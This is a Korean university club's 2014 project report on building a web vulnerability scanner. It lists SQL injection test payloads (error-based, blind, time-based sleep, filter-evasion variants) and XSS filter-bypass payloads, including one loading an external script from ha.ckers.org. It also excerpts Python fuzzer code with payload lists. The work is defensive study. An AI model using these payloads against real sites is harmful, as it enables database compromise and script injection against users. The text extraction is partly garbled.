웹취약점스캐너프로젝트 1/15 웹취약점스캐너제작 2014 년 11 월 10 일 대학교 동아리 인천대학교 OneScore 참여인원 김영성, 박현우, 김한슬 송동현, 라하연
웹취약점스캐너프로젝트 2/15 목 차 1. 서론 3 1.1. 연구의배경및목적 3 1.2. 연구주제의요약설명 3 2. 웹취약점 3 2.1. SQL Injection 3 2.2. XSS 3 3. 웹취약점점검패턴 4 3.1. SQL Injection 점검패턴 4 3.2. XSS 점검패턴 6 4. 웹취약점탐지알고리즘 9 4.1. SQL Injection 탐지알고리즘 9 4.2. XSS 탐지알고리즘 10 5. 결론 11 5.1. 연구결과 11 5.2. 기대효과및활용에대한건의 14 5.3. 프로젝트수행시어려웠던점등기타의견 14 6. 참고문헌 15
웹취약점스캐너프로젝트 3/15 1. 서론 1.1. 연구의배경및목적최근해킹사고의대다수가웹서버, 웹애플리케이션의취약점을공격하는방식의공격으로이루어짐에따라웹취약점을점검하고보완하는작업은선택이아닌필수가되고있다. 하지만이런상황에도불구하고많은중소기업에서는보안취약점을점검할수있는전문인력이없어웹취약점에그대로노출되고있다. 이러한기업들에게자신들의웹사이트의취약점을쉽게점검할수있는자동화프로그램이제공된다면, 중소기업들이보안문제를자각하고보완하려는시도를할것이고그에따라사이트들의보안상태도한층업그레이드될수있을것이다. 이프로젝트를통해웹취약점을탐지하는방법을학습하고, 이를이용해웹사이트의점검을쉽게할수있는자동화프로그램을만드는것을목표로한다. 1.2. 연구주제의요약설명우선, 웹취약점을탐지하는방법에대해학습하며탐지패턴들을정리한다. 이후에정리된탐지방법들을실습용으로구축된사이트를대상으로적용해보며웹취약점점검을자동화할수있는알고리즘을생각해본다. 최종적으로알고리즘을종합하여웹취약점스캐너를제작해본다. 본프로젝트에서는 SQL Injection과 XSS 공격에대해위의과정을진행한다. 2. 웹취약점 2.1. SQL Injection 일반적으로웹어플리케이션은사용자의정보를입력하는사용자로그인정보입력란이나게시판조회란, 게시판게시물번호등같이사용자에게입력, 조회할수있는인터페이스를제공한다. 웹어플리케이션사용자인터페이스의정보는데이터베이스에접근할수있는쿼리문으로전달되는데공격자는이렇게전달되는쿼리문을조작하여데이터베이스를조회, 조작할수있으며시스템까지도장악할수있게된다. 2.2. XSS 자바스크립트처럼클라이언트측에서실행되는언어로작성된악성스크립트코드를웹페이지, 웹게시판또는이메일에포함시켜이를열람한사용자컴퓨터에서악성스크립트가실행되게하고사용자의개인정보등을유출시키는공격이다. XSS 취약점은웹페이지가사용자에게입력받은데이터를필터링하지않고그대로동적으로생성된웹페이지에포함하여사용자에게
웹취약점스캐너프로젝트 4/15 재전송할때발생한다. 3. 웹취약점점검패턴 3.1. SQL Injection 점검패턴 SQL Injection의점검은파라미터에 SQL문을삽입하고서버의 response값을확인하여취약성여부를판단한다. 삽입하는 SQL문과 response값의확인방법은아래와같다. A. 패턴 1 : 1ACUSTART'"ed9cWACUEND Error based SQL injection 공격기법으로 Error를유발시키는쿼리를입력하여쿼리가동작하는지확인한다. GET /listproducts.php?artist=1acustart'"ed9cwacuend Error가발생하지않음 Error 발생 B. 패턴 2 : AND 3*2*1=6 AND 00568=00568 Blind SQL Injection 공격기법으로서버에참인값과거짓인값의패턴을각각보 내본후결과값을비교하여취약점을판별한다. 1번 : GET /listproducts.php?artist=3 AND 3*2*1=6 AND 00568=00568 2번 : GET /listproducts.php?artist=3 AND 3*2*1=2 AND 00568=00568 (artist=3은참이라고가정 ) 1번과 2번의서버응답값이동일하다. 1 번과 2 번의서버응답값이다르다.
웹취약점스캐너프로젝트 5/15 C. 패턴 3 : OR/*randomText*/0032=0032 특정키워드나기호사이의공백이필터링될경우, 공백을대체할수있는문자를 사용해진단할수있다. 공백을대체할수있는문자는아래표와같다. 1번 : GET /listproducts.php?artist=12 OR/*randomText*/0032=0032 2번 : GET /listproducts.php?artist=12 OR/*randomText*/0032=0030 (artist=12가거짓이라고가정 ) 1번과 2번의결과값이같다. 1 번의 2 번의결과값이다르다. 공백을대체하는문자혹은문자열원본 OR 0032=0032 /**/ OR/*randomText*/0032=0032 (, ) OR(0032)=0032 + OR+0032=0032 D. 패턴 4 : OR 0032 rlike 0032 특정연산자가필터링되었을경우, 다른연산자들을조합하여사용할수있다. 사 용할수있는연산자들은아래표와같다. 1번 : GET /listproducts.php?artist=12 OR 0032 rlike 0032 2번 : GET /listproducts.php?artist=12 OR 0032 rlike 0030 (artist=12가거짓이라고가정 ) 1번과 2번의결과값이같다. 1 번의 2 번의결과값이다르다. 연산자 ^ =!= % / * & && < > << >> >= <= <> <=> XOR DIV SOUNDS LIKE RLIKE REGEXP IS NOT BETWEEN
웹취약점스캐너프로젝트 6/15 E. 패턴 5: (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(6)))v)+' "+(select(0)from(select(sleep(9)))v)+"*/ Time based Blind SQL Injection 공격기법으로서버에서응답하는시간을확인 하여 쿼리문이 동작하는지 여부를 판단한다. 위 패턴에서는 서버 쿼리문의 injection 위치에따라 sleep함수의실행위치가다르다. 인용부호를사용하지않을경우 : sleep(3) 이실행 injection 지점이 를사용하는경우 : sleep(6) 이실행 injection 지점이 를사용하는경우 : sleep(9) 가실행 GET /listproducts.php?artist=(select(0)from(select(sleep(3)))v)/*'+ (select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ 지연없이응답 3초 or 6초 or 9초의지연후에응답 3.2. XSS 점검패턴 XSS 점검은공격에사용되는태그 (<script>) 와자바스크립트함수 (alert, prompt 등 ) 를삽입하고 응답값에해당입력값이인코딩이나필터링되어있는지확인하는방식으로진행된다. A. 패턴 1 : >< XSS 공격에사용되는 ', ", >, < 문자를삽입하여인코딩여부를확인한다. GET /listproducts.php?artist='"><1d352<script>alert(1)</script> %27%22%3E%3C1d352%3Cscript%3Ealert%281%29%3C%2Fscript%3E '"><1d352<script>alert(1)</script> => <script>alert(1)</script> 동작 B. 패턴 2 : <sc<script>ript>prompt(973)<</script>/script> script 태그의입력을공백으로치환하여방어했을때, 우회할수있는방법 GET /listproducts.php?artist='"><<sc<script>ript>prompt(973)<</script>/script> '"><prompt(973) '"><<script>prompt(973)</script> => <script> 가삭제되면서숨겨진 script 동작
웹취약점스캐너프로젝트 7/15 C. 패턴 3 : <script >alert(1)</script > script 태그의입력을필터하는부분에서대소문자를구분하지않았을때, 우회할수있는방법 GET /listproducts.php?artist='"><<script>alert(1)</script> '"><alert(1) '"><<ScrIpT>alert(1)</sCRiPt> => <script> 필터링이적용되지않아스크립트동작 D. 패턴 4 : <img src=x onmouseover=alert(1) /> <img> 태그의속성값을이용해자바스크립트함수를실행시키는방법. onmouseover 외에도아래의표와같이다양한태그속성이존재한다. GET /search.php?test='"<><img SRC=# onmouseover="alert(1)"> <img src=x > => 속성값필터링 <img src=# onmouseover="alert(1)"> => 마우스를이미지에올리면함수실행 태그속성 onfocus bgsound onstop onselectstart onunload onmove onactivae onfocusin ondblclick href onclick onkeydown ondrag onstart onbeforecut onkeyup ondragenter onrowexit ondeactivate onload ondragover onpaste ondragend onbounce ondrop onresize ondragleave onmovestart oncopy onselect ondragstart onmouseout onfinish onscroll onerror onmouseup onreset onchange oncut onabort onsubmit onmovestart
웹취약점스캐너프로젝트 8/15 E. 패턴 5 : <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> 외부의 javascript 함수를호출하는방법 GET /search.php?test='"<><script/src="http://ha.ckers.org/xss.js"></script> 외부의 script함수실행외부의 javascript 소스필터링 F. 패턴 6 : 태그속성값의인코딩 - <IMG SRC= 인코딩된함수 > 태그의속성값은파싱될때 decoding과정을거치게된다. 따라서속성값은아래의표에나와있는인코딩방식으로인코딩후전송해도정상적으로실행된다. GET /search.php?test='"<><img SRC=javas	 9;ript:alert 0;'XSS')> 필터링혹은치환자바스크립트함수실행 인코딩 원본 UTF-8 유니코드인코딩세미콜론없는 Long UTF-8 유니코드인코딩세미콜론없는 Hex 인코딩 <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript: alert('xss')> <IMG SRC=javasc� 000114ipt:al� 101rt('XSS ')> <IMG SRC=javascript:&#x 61lert('XSS')>
웹취약점스캐너프로젝트 9/15 4. 웹취약점탐지알고리즘 4.1. SQL Injection 탐지알고리즘 아래의그림과같은순서로 SQL injection 의취약성을판단한다. URL, Param 입력 : 사용자가 scanner 를실행할때, 점검할사이트와파라미터를입력. URL 유효성 Check : 사용자가입력한 URL 이정상적으로접속이되는지확인. Error Based SQLi 패턴점검 : 3.1 SQL Injection 점검패턴 중 Error Based Injection 패턴을사용하여취약여부를확인한다. Error Based SQLi 패턴점검 : 3.1 SQL Injection 점검패턴 중 Blind SQL Injection 패턴을사용하여취약여부를확인한다.
웹취약점스캐너프로젝트 10/15 4.2. XSS 탐지알고리즘 아래의그림과같은순서로 XSS 의취약성을판단한다. URL, Param 입력 : 사용자가 scanner를실행할때, 점검할사이트와파라미터를입력. URL 유효성 Check : 사용자가입력한 URL이정상적으로접속이되는지확인. Cnt : 사용자가입력한 URL에파라미터를전송할때, Response 값에몇번출력되는지에따라점검횟수가달라지므로테스트문자 (TESTPARAM) 를파라미터로전송하여확인해본다. 문자열위치 : Response의 TESTPARAM의위치에따라패턴의형식이달라지므로위치확인. 패턴점검 : TESTPARAM의위치에따라응답횟수만큼각각의패턴을점검한다. 각각의패턴은 3.2 XSS 점검패턴 에서설명한패턴을사용한다.
웹취약점스캐너프로젝트 11/15 5. 결론 5.1. 연구결과 3.2 XSS 점검패턴 과 4.2 XSS 탐지알고리즘 을이용해 python 기반의 XSS Scanner를제작해보았다. 아래의표는소스코드의중요부분만발췌한것이다. # 위치에따른 XSS 탐지패턴 FUZZING_PAYLOADS_BASE = [ "<script>alert(1)</script>", "<script >alert(1)</script >", "<sc<script>ript>alert(1)<</script>/script>", "<script src=http://ha.ckers.org/xss.js></script>", "<script>alert(string.fromcharcode(88,83,83));</script>", "<IMG \"\"\"><script>alert(\"xss\")</script>\">", "<img src=\"blah.jpg\" onerror=\"alert('xss')\"/>", "<IMG SRC=javascript:a
 8;ert('XSS')>", ] FUZZING_PAYLOADS_START_END_TAG = [ "\"'/><script >alert(1)</script >", "\"'\/><img src=2 onerror=\"alert(1)\" />", FUZZING_PAYLOADS_ATTR = [ "\"'><script>alert(1)</script>", "\"'><img src=2 onerror=\"alert(1)\"/>", # 데이터위치파악을위한 HTML Parser class MyHTMLParser(HTMLParser): def handle_comment(self, data): global OCCURENCE_PARSED if(testparam.lower() in data.lower()): OCCURENCE_PARSED += 1 if(occurence_parsed == OCCURENCE_NUM): raise Exception("comment") def handle_startendtag(self, tag, attrs):
웹취약점스캐너프로젝트 12/15 global OCCURENCE_PARSED global OPEN_EMPTY_TAG if (Testparam.lower() in str(attrs).lower()): OCCURENCE_PARSED += 1 if(occurence_parsed == OCCURENCE_NUM): OPEN_EMPTY_TAG = tag raise Exception("start_end_tag_attr") def handle_starttag(self, tag, attrs): def handle_endtag(self, tag): def handle_data(self, data): def html_parse(res): parser = MyHTMLParser() location = "" try: parser.feed(res.text) except Exception as e: location = str(e) except: printfail("error. That was bad. Some sort of parsing error happened. Try rerunning?") exit(-1) return location # 위치별 XSS 점검 def break_comment(): printhead("[*] Can comment be escaped to execute XSS?") payload = "--><script>alert(1);</script>" if( compareres(payload,payload) ): #payload = "--><script>alert(1);</script>" if( compareres(payload+"<!--", payload+"<!--") ):
웹취약점스캐너프로젝트 13/15 else: #Try a clean payload payload = "--><script>alert(1);</script><!--" if( compareres("-->", "-->") ): clean = compareres("<!--", "<!--") found = False for pl in FUZZING_PAYLOADS_BASE: pl = "-->" + pl if(clean): pl = pl + "<!--" if( compareres(urllib.quote_plus(pl), pl) ): #Working payload found! Add to payload list and break payload = pl found = True break if(not found): printfail("error. After trying all fuzzing attacks, none were successful. Check manually to confirm.") else: payload = "" printfail("error. Cannot escape comment because the --> string needed to close the comment is escaped.") if(payload): if(payload not in LIST_OF_PAYLOADS): LIST_OF_PAYLOADS.append(payload) printsucc("success. Parameter was reflected in a comment. Use the following payload to break out:") printsucc(payload) def break_script(): def break_data(): def break_start_end_attr(): def break_attr():
웹취약점스캐너프로젝트 14/15 XSS Scanner usage GET 과 POST 방식을지원하며, 사용방법은 URL 과 payload 를명시해주고실행하면된다. python xssscanner.py -u "URL" -p " 파라미터 =TESTPARAM" XSS 스캐너 Test 위그림은 XSS-Game 이라는 wargame 사이트에서 XSS 스캐너를테스트해본결과이다. 알고리 즘에서명시한대로 URL 유효성체크, 문자열반환개수확인, 위치별취약점여부점검 의순서 로진행한다. 5.2. 기대효과및활용에대한건의 웹서비스와다양한인터넷애플리케이션의웹취약점을점검해주는자동화환경구축 비교적간단한방법으로중고기업들의웹취약점자가점검가능 5.3. 프로젝트수행시어려웠던점등기타의견 취약성판단패턴의정리, 목록화 자동화를위한알고리즘의작성과이를코드로구현하는과정의어려움
웹취약점스캐너프로젝트 15/15 6. 참고문헌 Acunetix Web Vulnerability Scanner Vega Vulnerability Scanner - Subgraph KISA. 제 2010-9호웹서버구축보안점검안내서 OWASP XSS Prevention Cheat Sheet ( https://www.owasp.org/index.php/xss_filter_evasion_cheat_sheet ) ( 웹해킹 ) XSS 공격우회방법 ( http://blog.naver.com/swoo1015/220031464543 ) PentesterLab ( https://www.pentesterlab.com/exercises/xss_and_mysql_file/ ) OWASP Top 10 2013 Internet & Security Focus 2013 11월호 Web Security Scan 10 November, 2013 Developer Report F5. SQL Injection Evasion Detection ( https://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf ) http://ha.ckers.org/sqlinjection/